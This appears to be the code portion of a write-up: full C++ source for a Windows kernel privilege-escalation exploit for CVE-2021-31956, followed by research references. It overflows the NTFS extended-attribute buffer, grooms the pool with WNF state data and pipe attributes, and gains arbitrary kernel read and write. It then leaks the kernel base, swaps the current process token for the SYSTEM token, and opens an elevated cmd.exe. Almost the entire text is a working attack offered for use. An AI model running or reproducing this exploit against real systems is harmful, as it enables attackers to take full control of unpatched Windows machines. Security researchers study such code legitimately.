_In_ PSECURITY_DESCRIPTOR SecurityDescriptor// *MUST* be present
);

typedef NTSTATUS(WINAPI* PZwUpdateWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID* Buffer,
_In_opt_ ULONG Length, // Must be less than MaximumSizewhen registered
_In_opt_ PCWNF_TYPE_ID TypeId, // Optionally, for type-safety
_In_opt_ const PVOID ExplicitScope,// Process handle, User SID, Session ID
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,// Expected current change stamp
_In_ LOGICAL CheckStamp// Enforce the above or silently ignore it
);

typedef NTSTATUS(WINAPI* PZwDeleteWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ const VOID* ExplicitScope
);

typedef NTSTATUS(WINAPI* PZwQueryWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const VOID* ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize
);

typedef NTSTATUS(WINAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved
);

typedef NTSTATUS (WINAPI* PZwFsControlFile)(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG FsControlCode,
_In_opt_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_opt_ PVOID OutputBuffer,
_In_ ULONG OutputBufferLength
);

struct pipe_attribute{
LIST_ENTRY list;
char* AttributeName;
__int64 ValueSize;
char* AttributeValue;
char data[1];
};

struct PipeHandles {
HANDLE readPipe;
HANDLE writePipe;
};

#define NT_SUCCESS(status) (status == (NTSTATUS)0)

#define DEBUG 1
#define PRINT_BUFFER 0
#define FILE_PATH L"test.txt"
#define EA_NAME1 "AAAAA"
#define EA_NAME2 "BBBBB"
#define EA_NAME_LEN1 sizeof(EA_NAME1)
#define EA_NAME_LEN2 sizeof(EA_NAME2)
#define SPRAY_SIZE 0xb000
#define ALLOC_SIZE 0xa0
#define POOL_HEADER_SIZE 0x10
#define WNF_HEADER_SIZE 0x10
#define TOTAL_WNF_SIZE (ALLOC_SIZE + POOL_HEADER_SIZE + WNF_HEADER_SIZE)
#define FAKE_WNF_SIZE (ALLOC_SIZE + TOTAL_WNF_SIZE * 2)
#define PIPE_ATTRIBUTE_HEADER_SIZE 0x28
#define PIPE_NAME_LEN 0x10
#define PIPE_ATTRIBUTE_BUFFER_SIZE (ALLOC_SIZE + WNF_HEADER_SIZE - PIPE_ATTRIBUTE_HEADER_SIZE)
#define NEXTPIPEATTRIBUTHEADEROFFSET (ALLOC_SIZE + POOL_HEADER_SIZE)
#define FILE_OBJECT_OFFSET 0x110
#define DEVICE_OBJECT_OFFSET 0x8
#define DRIVER_OBJECT_OFFSET 0x8
#define MAJOR_FUNCTION_OFFSET 0x70
#define IOP_INVALID_DEVICE_REQUEST_OFFSET 0x38
#define IOP_INVALID_DEVICE_REQUEST_ADDR 0x140125D40
#define PIPE_WRITE_ROUNDS 0x40
#define CREATE_TIME_OFFSET 0x318
#define PROCESS_ID_OFFSET 0x2e8
#define NEXT_EPROCESS_OFFSET 0x2f0
#define TOKEN_OFFSET 0x360

void printBuffer(PCHAR buffer, ULONG bufferSize) {
std::cout << "\t[+] the buffer: " << std::endl;
for (ULONG i = 0; i < bufferSize; i++) {
if (i % 0x10 == 0) {
std::cout << std::endl << "\t";
}
std::cout << std::hex << ((ULONG)buffer[i]) % 0x100 << " ";
}
std::cout << std::endl;
}

HANDLE getFileHandle() {

#if DEBUG
std::cout << "[+] getFileHandle " << std::endl;
#endif // DEBUG

HANDLE fileHandle = CreateFile(FILE_PATH,
GENERIC_READ | GENERIC_WRITE | DELETE,
NULL,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (fileHandle == INVALID_HANDLE_VALUE){
DWORD err = GetLastError();
std::cerr << "[-] failed to open: " << err;
exit(-1);
}
return fileHandle;
}

void setEaFile(HANDLE fileHandle, PCHAR pBuffer, USHORT size) {

#if DEBUG
std::cout << "[+] setEaFile " << std::endl;
#endif // DEBUG

PZwSetEaFile ZwSetEaFile = (PZwSetEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetEaFile");

if (!ZwSetEaFile) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwSetEaFile : " << err;
exit(-1);
}
ULONG eaBlockSize1 = 8 + EA_NAME_LEN1 + ALLOC_SIZE;
ULONG eaPaddingLen1 = ((eaBlockSize1 + 3) & 0xFFFFFFFC) - eaBlockSize1;
ULONG ea1NextEntryOffset = eaBlockSize1 + eaPaddingLen1;
FILE_FULL_EA_INFORMATION ea1 = { 0 };
ea1.NextEntryOffset = ea1NextEntryOffset;
ea1.Flags = 0;
ea1.EaNameLength = EA_NAME_LEN1 - 1;
ea1.EaValueLength = ALLOC_SIZE;

ULONG eaBlockSize2 = 8 + EA_NAME_LEN2 + size;
//ULONG eaPaddingLen2 = ((eaBlockSize1 + 3) & 0xFFFFFFFC) - eaBlockSize1;
FILE_FULL_EA_INFORMATION ea2 = { 0 };
ea2.NextEntryOffset = 0;
ea2.Flags = 0;
ea2.EaNameLength = EA_NAME_LEN2 - 1;
ea2.EaValueLength = size;


ULONG totalSize = eaBlockSize1 + eaPaddingLen1 + eaBlockSize2;

PCHAR pSetEaBuffer = (PCHAR)VirtualAlloc(NULL, totalSize, MEM_COMMIT, PAGE_READWRITE);
if (pSetEaBuffer == NULL) {
std::cerr << "[-] failed to pSetEaBuffer pBuffer";
exit(-1);
}
memset(pSetEaBuffer, 0, totalSize);

memcpy(pSetEaBuffer, &ea1, 8);
memcpy(pSetEaBuffer + 8, &EA_NAME1, EA_NAME_LEN1);
memset(pSetEaBuffer + 8 + EA_NAME_LEN1, 0x61, ALLOC_SIZE);

memcpy(pSetEaBuffer + ea1NextEntryOffset, &ea2, 8);
memcpy(pSetEaBuffer + ea1NextEntryOffset + 8, &EA_NAME2, EA_NAME_LEN2);
memcpy(pSetEaBuffer + ea1NextEntryOffset + 8 + EA_NAME_LEN2, pBuffer, size);

IO_STATUS_BLOCK setEaIoStatusBlock = { 0 };

NTSTATUS status = ZwSetEaFile(fileHandle, &setEaIoStatusBlock, pSetEaBuffer, totalSize);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwSetEaFile: " << std::hex << status;
exit(-1);
}

VirtualFree(pSetEaBuffer, 0, MEM_RELEASE);
}

void queryEaFile(HANDLE fileHandle) {
#if DEBUG
std::cout << "[+] queryEaFile " << std::endl;
#endif // DEBUG

PZwQueryEaFile ZwQueryEaFile = (PZwQueryEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryEaFile");

if (!ZwQueryEaFile) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwQueryEaFile : " << err;
exit(-1);
}

ULONG eaBlockSize1 = 5 + EA_NAME_LEN1;
ULONG eaPaddingLen1 = ((eaBlockSize1 + 3) & 0xFFFFFFFC) - eaBlockSize1;
ULONG ea1NextEntryOffset = eaBlockSize1 + eaPaddingLen1;
FILE_GET_EA_INFORMATION ea1 = { 0 };
ea1.NextEntryOffset = ea1NextEntryOffset;
ea1.EaNameLength = EA_NAME_LEN1 - 1;

ULONG eaBlockSize2 = 5 + EA_NAME_LEN2;
ULONG eaPaddingLen2 = ((eaBlockSize2 + 3) & 0xFFFFFFFC) - eaBlockSize1;
FILE_GET_EA_INFORMATION ea2 = { 0 };
ea2.NextEntryOffset = 0;
ea2.EaNameLength = EA_NAME_LEN2 - 1;

ULONG totalSize = eaBlockSize1 + eaPaddingLen1 + eaBlockSize2 + eaPaddingLen2;

PCHAR pEaListBuffer = (PCHAR)VirtualAlloc(NULL, totalSize, MEM_COMMIT, PAGE_READWRITE);
if (pEaListBuffer == NULL) {
std::cerr << "[-] failed to pEaListBuffer pBuffer";
exit(-1);
}
memset(pEaListBuffer, 0, totalSize);

memcpy(pEaListBuffer, &ea1, 5);
memcpy(pEaListBuffer + 5, &EA_NAME1, EA_NAME_LEN1);

memcpy(pEaListBuffer + ea1NextEntryOffset, &ea2, 5);
memcpy(pEaListBuffer + ea1NextEntryOffset + 5, &EA_NAME2, EA_NAME_LEN2);

IO_STATUS_BLOCK queryEaIoStatusBlock = { 0 };
FILE_FULL_EA_INFORMATION queryEaBuffer = { 0 };
WORD queryEaBufferLen = 8 + EA_NAME_LEN1 + ALLOC_SIZE;;

NTSTATUS status = ZwQueryEaFile(fileHandle, &queryEaIoStatusBlock, &queryEaBuffer, queryEaBufferLen, 0, pEaListBuffer, totalSize, 0, 0);
if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwQueryEaFile: " << std::hex << status;
exit(-1);
}

VirtualFree(pEaListBuffer, 0, MEM_RELEASE);
}

void createWnfStateData(PWNF_STATE_NAME pState) {
PZwCreateWnfStateName ZwCreateWnfStateName = (PZwCreateWnfStateName)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwCreateWnfStateName");

if (!ZwCreateWnfStateName) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwCreateWnfStateName : " << err;
exit(-1);
}

SECURITY_DESCRIPTOR sd;
memset(&sd, 0, sizeof(sd));

if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
DWORD err = GetLastError();
std::cerr << "[-] failed to InitializeSecurityDescriptor : " << err;
exit(-1);
}

NTSTATUS status = ZwCreateWnfStateName(pState, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, &sd);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwCreateWnfStateName: " << std::hex << status;
exit(-1);
}
}

void updateWnfStateData(PWNF_STATE_NAME pState, PVOID pBuffer, ULONG size) {
PZwUpdateWnfStateData ZwUpdateWnfStateData = (PZwUpdateWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUpdateWnfStateData");

if (!ZwUpdateWnfStateData) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwUpdateWnfStateData : " << err;
exit(-1);
}

NTSTATUS status = ZwUpdateWnfStateData(pState, pBuffer, size, 0, 0, 0, 0);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwUpdateWnfStateData: " << std::hex << status;
exit(-1);;
}
}

PWNF_STATE_NAME sprayWNF(ULONG size,ULONG chr = 0x61) {

#if DEBUG
std::cout << "[+] sprayWNF " << std::endl;
std::cout << "\t[+] spraySize : 0x" << std::hex << size << std::endl;
std::cout << "\t[+] allocSize : 0x" << std::hex << ALLOC_SIZE << std::endl;
#endif // DEBUG

PCHAR pBuffer = (PCHAR)VirtualAlloc(NULL, ALLOC_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (pBuffer == NULL){
std::cerr << "[-] failed to VirtualAlloc pBuffer";
exit(-1);
}
memset(pBuffer, chr, ALLOC_SIZE);

LPVOID pStates = VirtualAlloc(NULL, 8 * size, MEM_COMMIT, PAGE_READWRITE);
if (pStates == NULL) {
std::cerr << "[-] failed to VirtualAlloc pStates";
exit(-1);
}

for (ULONG i = 0; i < size; i++) {

WNF_STATE_NAME state;
memset(&state, 0, sizeof(state));
createWnfStateData(&state);
((PWNF_STATE_NAME)pStates)[i] = state;
}

for (ULONG i = 0; i < size; i++) {
updateWnfStateData(&((PWNF_STATE_NAME)pStates)[i], pBuffer, ALLOC_SIZE);
}

VirtualFree(pBuffer, 0, MEM_RELEASE);

return (PWNF_STATE_NAME)pStates;

}

void deleteWnfStateData(PWNF_STATE_NAME state) {
PZwDeleteWnfStateData ZwDeleteWnfStateData = (PZwDeleteWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDeleteWnfStateData");

if (!ZwDeleteWnfStateData) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwDeleteWnfStateData : " << err;
exit(-1);
}

NTSTATUS status = ZwDeleteWnfStateData(state, 0);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwDeleteWnfStateData: " << std::hex << status;
exit(-1);
}

}

void queryWnfStateData(PWNF_STATE_NAME pState, PWNF_CHANGE_STAMP wmfChangeStamp, PVOID queryBuffer, PULONG queryBufferSize,BOOLEAN isCheckStatus = FALSE) {
PZwQueryWnfStateData ZwQueryWnfStateData = (PZwQueryWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryWnfStateData");

if (!ZwQueryWnfStateData) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwQueryWnfStateData : " << err;
exit(-1);
}

NTSTATUS status = ZwQueryWnfStateData(pState, 0, 0, wmfChangeStamp, queryBuffer, queryBufferSize);
if (isCheckStatus) {
if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwQueryWnfStateData: " << std::hex << status;
exit(-1);
}
}
}

void printLookForOverflowWNFResult(ULONG idx, WNF_CHANGE_STAMP wmfChangeStamp,PCHAR queryBuffer,ULONG queryBufferSize) {
std::cout << "\t[+] get idx : " << std::hex << idx << std::endl;
std::cout << "\t[+] get wmfChangeStamp : " << std::hex << wmfChangeStamp << std::endl;
std::cout << "\t[+] length: " << std::hex << queryBufferSize << std::endl;
#if PRINTBUFFER
printBuffer(queryBuffer, queryBufferSize);
#endif // PRINTBUFFER
}

ULONG lookForOverflowWNF(PWNF_STATE_NAME states) {

#if DEBUG
std::cout << "[+] lookForOverflowWNF " << std::endl;
#endif // DEBUG

ULONG idx = -1;
for (int i = 0; i < SPRAY_SIZE; i++) {

WNF_CHANGE_STAMP wmfChangeStamp = 0;
char queryBuffer[FAKE_WNF_SIZE] = { 0 };
ULONG queryBufferSize = sizeof(queryBuffer);

queryWnfStateData(&states[i], &wmfChangeStamp, queryBuffer, &queryBufferSize);

if (wmfChangeStamp == 2) {
#if DEBUG
printLookForOverflowWNFResult(i, wmfChangeStamp, queryBuffer, queryBufferSize);
#endif // DEBUG
idx = i;
break;
}
}
if (idx == -1) {
std::cerr << "[-] failed to lookForOverflowWNF";
exit(-1);
}

#if DEBUG
std::cout << "[+] getOverflowWNFIdx " << std::hex << idx << std::endl;
#endif // DEBUG
return idx;
}

PipeHandles createPipe() {

#if DEBUG
std::cout << "[+] createPipe " << std::endl;
#endif // DEBUG

HANDLE readPipe, writePipe;

if (!CreatePipe(&readPipe, &writePipe, NULL, 0x1000)) {
DWORD error = GetLastError();
std::cerr << "[-] failed to CreatePipe: " << std::hex << error;
exit(-1);
}

PipeHandles ph = { 0 };
ph.readPipe = readPipe;
ph.writePipe = writePipe;
return ph;
}

void pipeWriteAttribute(PipeHandles pipeHandles,PCHAR nameBuffer,PCHAR valueBuffer) {
PZwFsControlFile ZwFsControlFile = (PZwFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwFsControlFile");

if (!ZwFsControlFile) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwFsControlFile : " << err;
exit(-1);
}

IO_STATUS_BLOCK fsControlFileIoStatusBlock = { 0 };

ULONG nameLen = strlen(nameBuffer);
ULONG valueLen = PIPE_ATTRIBUTE_BUFFER_SIZE - nameLen - 1;
ULONG totalLen = nameLen + valueLen;

PCHAR pAttribute = (PCHAR)VirtualAlloc(NULL, PIPE_ATTRIBUTE_BUFFER_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (pAttribute == NULL) {
std::cerr << "[-] failed to VirtualAlloc pAttribute";
exit(-1);
}
memset(pAttribute, 0, PIPE_ATTRIBUTE_BUFFER_SIZE);
memcpy(pAttribute, nameBuffer, nameLen);
memcpy(pAttribute + nameLen + 1, valueBuffer, valueLen);

char output[FAKE_WNF_SIZE];

NTSTATUS status = ZwFsControlFile(pipeHandles.writePipe,
NULL,
NULL,
NULL,
&fsControlFileIoStatusBlock,
0x11003C,
pAttribute,
PIPE_ATTRIBUTE_BUFFER_SIZE,
output,
sizeof(output)
);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwFsControlFile: " << std::hex << status;
exit(-1);
}

VirtualFree(pAttribute, 0, MEM_RELEASE);
}

void pipeDeleteAttribute(PipeHandles pipeHandles, PCHAR nameBuffer) {
PZwFsControlFile ZwFsControlFile = (PZwFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwFsControlFile");

if (!ZwFsControlFile) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwFsControlFile : " << err;
exit(-1);
}

IO_STATUS_BLOCK fsControlFileIoStatusBlock = { 0 };

ULONG nameLen = strlen(nameBuffer) + 1;

char output[FAKE_WNF_SIZE];

NTSTATUS status = ZwFsControlFile(pipeHandles.writePipe,
NULL,
NULL,
NULL,
&fsControlFileIoStatusBlock,
0x11003C,
nameBuffer,
nameLen,
output,
sizeof(output)
);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwFsControlFile: " << std::hex << status;
exit(-1);
}
}

void pipeReadAttribute(PipeHandles pipeHandles, PCHAR nameBuffer, PCHAR output, ULONG size) {
PZwFsControlFile ZwFsControlFile = (PZwFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwFsControlFile");

if (!ZwFsControlFile) {
DWORD err = GetLastError();
std::cerr << "[-] failed to get ZwFsControlFile : " << err;
exit(-1);
}

IO_STATUS_BLOCK fsControlFileIoStatusBlock = { 0 };

ULONG nameLen = strlen(nameBuffer) + 1;

NTSTATUS status = ZwFsControlFile(pipeHandles.writePipe,
NULL,
NULL,
NULL,
&fsControlFileIoStatusBlock,
0x110038,
nameBuffer,
nameLen,
output,
size
);

if (!NT_SUCCESS(status)) {
std::cerr << "[-] failed to ZwFsControlFile: " << std::hex << status;
exit(-1);
}
}

void arbRead(UINT64 addr, PWNF_STATE_NAME state, PVOID pQueryBuffer, PipeHandles pipeHandles, PCHAR output, ULONG size) {
char name[PIPE_NAME_LEN] = {
0x66,0x67,0x68,0x69,
0x66,0x67,0x68,0x69,
((PCHAR)pQueryBuffer)[ALLOC_SIZE + 0x40]
};


((PUINT64) pQueryBuffer)[(ALLOC_SIZE + 0x30) / 0x8] = addr;
updateWnfStateData(state, pQueryBuffer, FAKE_WNF_SIZE);
pipeReadAttribute(pipeHandles, name, output, size);

#if PRINTBUFFER
printBuffer(output, size);
#endif // DEBUG
}

void arbWrite(UINT64 addr, PVOID pBuffer, ULONG bufferSize, PWNF_STATE_NAME pOverflowWNFState, PVOID pQueryBuffer, PWNF_STATE_NAME pWriteStateName) {
((PUINT64)pQueryBuffer)[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0x68) / 0x8] = addr - 0x10;
updateWnfStateData(pOverflowWNFState, pQueryBuffer, FAKE_WNF_SIZE);
updateWnfStateData(pWriteStateName, pBuffer, bufferSize);
}

void arbWrite64(UINT64 addr, UINT64 value, PWNF_STATE_NAME pOverflowWNFState, PVOID pQueryBuffer, PWNF_STATE_NAME pWriteStateName) {
((PUINT64) pQueryBuffer)[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0x68) / 0x8] = addr - 0x10;
updateWnfStateData(pOverflowWNFState, pQueryBuffer, FAKE_WNF_SIZE);

PCHAR pValue = (PCHAR)VirtualAlloc(NULL, sizeof(value), MEM_COMMIT, PAGE_READWRITE);
if (pValue == NULL) {
std::cerr << "[-] failed to VirtualAlloc pValue";
exit(-1);
}
memset(pValue, 0, sizeof(value));
memcpy(pValue, &value, sizeof(value));

arbWrite(addr, pValue, sizeof(value), pOverflowWNFState, pQueryBuffer, pWriteStateName);
VirtualFree(pValue, 0, MEM_RELEASE);

}

UINT64 arbRead64(UINT64 addr, PWNF_STATE_NAME state, PVOID pQueryBuffer, PipeHandles pipeHandles) {
char output[FAKE_WNF_SIZE] = { 0 };
arbRead(addr, state, pQueryBuffer, pipeHandles, output, sizeof(output));
UINT64 result = ((PUINT64)output)[0];
return result;
}

BOOLEAN checkIsKernelAddr(UINT64 addr) {
if ((addr >> 48) == 0xffff)
return true;
else
return false;
}

UINT64 leakKernelAddr(UINT64 fd, PWNF_STATE_NAME state, PVOID pQueryBuffer, PipeHandles pipeHandles) {

#if DEBUG
std::cout << "[+] leakKernelAddr " << std::endl;
#endif // DEBUG

UINT64 currentfd = fd;
UINT64 nextfd = 0;
UINT64 tag = 0;
for (int i = 0; i < PIPE_WRITE_ROUNDS; i++) {
tag = arbRead64(currentfd - 0x10, state, pQueryBuffer, pipeHandles) >> 32;
nextfd = arbRead64(currentfd, state, pQueryBuffer, pipeHandles);
if (tag != 0x7441704e) {
std::cout << "[+] find the special chunk : " << std::hex << currentfd << std::endl;
break;
}
currentfd = nextfd;
}

UINT64 pFileObject = arbRead64(currentfd - FILE_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pDeviceObject = arbRead64(pFileObject + DEVICE_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pDriverObject = arbRead64(pDeviceObject + DRIVER_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pIopInvalidDeviceRequest = arbRead64(pDriverObject + MAJOR_FUNCTION_OFFSET + IOP_INVALID_DEVICE_REQUEST_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 kernelBase = pIopInvalidDeviceRequest - IOP_INVALID_DEVICE_REQUEST_ADDR;

#if DEBUG
std::cout << "\t[+] pFileObject : " << std::hex << pFileObject << std::endl;
std::cout << "\t[+] pDeviceObject : " << std::hex << pDeviceObject << std::endl;
std::cout << "\t[+] pDriverObject : " << std::hex << pDriverObject << std::endl;
std::cout << "\t[+] pIopInvalidDeviceRequest : " << std::hex << pIopInvalidDeviceRequest << std::endl;
std::cout << "\t[+] kernelBase : " << std::hex << kernelBase << std::endl;;
#endif // DEBUG

return kernelBase;
}

void changeToken(UINT64 eprocess, PWNF_STATE_NAME pOverflowWNFState, PVOID pQueryBuffer, ULONG queryBufferSize, PipeHandles pipeHandles, PWNF_STATE_NAME pWriteStateName) {

#if DEBUG
std::cout << "[+] changeToken" << std::endl;
#endif // DEBUG

UINT64 beginEprocess = eprocess;
UINT64 processId = 0;
UINT64 nextEprocess = 0;
UINT64 dwPID = GetCurrentProcessId();
UINT64 currentEprocess = 0;

while (1) {
processId = arbRead64(eprocess + PROCESS_ID_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles);
if (processId == 4) {
break;
}

nextEprocess = arbRead64(eprocess + NEXT_EPROCESS_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles) - NEXT_EPROCESS_OFFSET;

if (nextEprocess == beginEprocess) {
break;
}
if (processId == dwPID) {
currentEprocess = eprocess;
}
eprocess = nextEprocess;
}
UINT64 systemToken = arbRead64(eprocess + TOKEN_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles);

#if DEBUG
std::cout << "\t[+] systemToken : " << std::hex << systemToken << std::endl;
std::cout << "\t[+] eprocess : " << std::hex << eprocess << std::endl;
#endif // DEBUG

ULONG fakeTokenSize = (TOKEN_OFFSET + 8) - CREATE_TIME_OFFSET;

UINT64 writeAddr = currentEprocess + CREATE_TIME_OFFSET;
UINT64 originNameStatePtr = ((PUINT64)pQueryBuffer)[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0x68) / 0x8];

PCHAR pFakeToken = (PCHAR)VirtualAlloc(NULL, fakeTokenSize, MEM_COMMIT, PAGE_READWRITE);
if (pFakeToken == NULL) {
std::cerr << "[-] failed to VirtualAlloc pFakeToken";
exit(-1);
}

memset(pFakeToken, 0, fakeTokenSize);
for (ULONG i = 0; i < fakeTokenSize / 0x8; i++) {
UINT64 tmpValue = arbRead64(writeAddr + i * 0x8, pOverflowWNFState, pQueryBuffer, pipeHandles);
memcpy(pFakeToken + i * 0x8, &tmpValue, sizeof(tmpValue));
}
memcpy(pFakeToken + TOKEN_OFFSET - CREATE_TIME_OFFSET, &systemToken, sizeof(systemToken));

arbWrite(writeAddr, pFakeToken, fakeTokenSize, pOverflowWNFState, pQueryBuffer, pWriteStateName);

VirtualFree(pFakeToken, 0, MEM_RELEASE);

}

void spawn_shell() {

PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));

STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));

printf("[>] shell!\n");

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}

int main()
{
HANDLE fileHandle = getFileHandle();

USHORT eaBlockSize = 8 + EA_NAME_LEN1 + ALLOC_SIZE;
USHORT eaPaddingLen = ((eaBlockSize + 3) & 0xFFFFFFFC) - eaBlockSize;
if (!eaPaddingLen) {
std::cerr << "[-] can't trigger the bug with eaPaddingLen be zero!";
exit(-1);
}

WNF_STATE_DATA fakeWNFStateData = { 0 };
fakeWNFStateData.Header = 0x00100904;
fakeWNFStateData.AllocatedSize = FAKE_WNF_SIZE;
fakeWNFStateData.DataSize = FAKE_WNF_SIZE;
fakeWNFStateData.ChangeStamp = 0x2;

USHORT totalSize = sizeof(fakeWNFStateData) + eaPaddingLen;

PCHAR pEaValue = (PCHAR)VirtualAlloc(NULL, totalSize, MEM_COMMIT, PAGE_READWRITE);
if (pEaValue == NULL) {
std::cerr << "[-] failed to pEaValue pBuffer";
exit(-1);
}
memset(pEaValue, 0, totalSize);
memset(pEaValue, 0x62, eaPaddingLen);
memcpy(pEaValue + eaPaddingLen, &fakeWNFStateData, sizeof(fakeWNFStateData));

setEaFile(fileHandle, pEaValue, totalSize);

VirtualFree(pEaValue, 0, MEM_RELEASE);

PWNF_STATE_NAME states = sprayWNF(SPRAY_SIZE);

deleteWnfStateData(&states[SPRAY_SIZE - 0x30]);
queryEaFile(fileHandle);

ULONG overflowWNFIdx = lookForOverflowWNF(states);
WNF_STATE_NAME overflowWNFState = states[overflowWNFIdx];

PipeHandles pipeHandles = createPipe();

for (int i = 0; i < PIPE_WRITE_ROUNDS; i++) {
if (i == PIPE_WRITE_ROUNDS / 2) continue;
deleteWnfStateData(&states[overflowWNFIdx - PIPE_WRITE_ROUNDS / 2 + i]);
char name[PIPE_NAME_LEN] = {
0x66,0x67,0x68,0x69,
0x66,0x67,0x68,0x69,
i + 1
};
ULONG valueLen = PIPE_ATTRIBUTE_BUFFER_SIZE - sizeof(name) - 1;

PCHAR pValue = (PCHAR)VirtualAlloc(NULL, valueLen, MEM_COMMIT, PAGE_READWRITE);
if (pValue == NULL) {
std::cerr << "[-] failed to VirtualAlloc pValue";
exit(-1);
}
memset(pValue, 0x61, valueLen);
pipeWriteAttribute(pipeHandles, name, pValue);
VirtualFree(pValue, 0, MEM_RELEASE);
}


WNF_CHANGE_STAMP wmfChangeStamp = 0;
char queryBuffer[FAKE_WNF_SIZE] = { 0 };
ULONG queryBufferSize = sizeof(queryBuffer);

queryWnfStateData(&overflowWNFState, &wmfChangeStamp, queryBuffer, &queryBufferSize);
PUINT64 pQueryBuffer = (PUINT64)queryBuffer;

UINT64 fd = pQueryBuffer[(ALLOC_SIZE + 0x10) / 0x8];

UINT64 kernelBase = leakKernelAddr(fd, &overflowWNFState, queryBuffer, pipeHandles);

UINT64 pNextName = pQueryBuffer[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0x20) / 0x8];
if (checkIsKernelAddr(pNextName)) {
UINT64 nextName = arbRead64(pNextName, &overflowWNFState, queryBuffer, pipeHandles);
if (nextName == 0x6968676669686766) {
UINT8 nextNameIdx = (arbRead64(pNextName + 8, &overflowWNFState, queryBuffer, pipeHandles)) & 0xff;
char name[PIPE_NAME_LEN] = {
0x66,0x67,0x68,0x69,
0x66,0x67,0x68,0x69,
nextNameIdx
};

pipeDeleteAttribute(pipeHandles, name);

PWNF_STATE_NAME writeStateName = sprayWNF(1, 0x60);

memset(queryBuffer, 0, queryBufferSize);
queryWnfStateData(&overflowWNFState, &wmfChangeStamp, queryBuffer, &queryBufferSize);

UINT64 pStateData = pQueryBuffer[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0x68) / 0x8];
if (checkIsKernelAddr(pStateData)) {
UINT64 stateData = arbRead64(pStateData + 0x10, &overflowWNFState, queryBuffer, pipeHandles);
if (stateData == 0x6060606060606060) {

UINT64 eprocess = pQueryBuffer[(ALLOC_SIZE + TOTAL_WNF_SIZE + 0xa8) / 0x8];

changeToken(eprocess, &overflowWNFState, &queryBuffer, queryBufferSize, pipeHandles, writeStateName);

spawn_shell();

getchar();

}
else {
std::cerr << "[-] stateData doesn't match!";
exit(1);
}
}
else {
std::cerr << "[-] pStateData is not a kernel address!";
exit(1);
}
VirtualFree(writeStateName, 0, MEM_RELEASE);
}

}
else {
std::cerr << "[-] pNextName is not a kernel address!";
exit(1);
}

VirtualFree(states, 0, MEM_RELEASE);

}

Reference

CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 – NCC Group Research

CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2 – NCC Group Research

PuzzleMaker attacks with Chrome zero-day exploit chain | Securelist

CVE-2021-31956漏洞分析 | 京东探索研究院信息安全实验室 (jd.com)

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

ZwQueryEaFile function (ntifs.h) - Windows drivers | Microsoft Docs

‘[2/4]ntdll/tests: test NtSetEaFile’ - MARC

Pwning the Windows 10 Kernel with NTFS and WNF - POC PDF Free Download (docplayer.net)

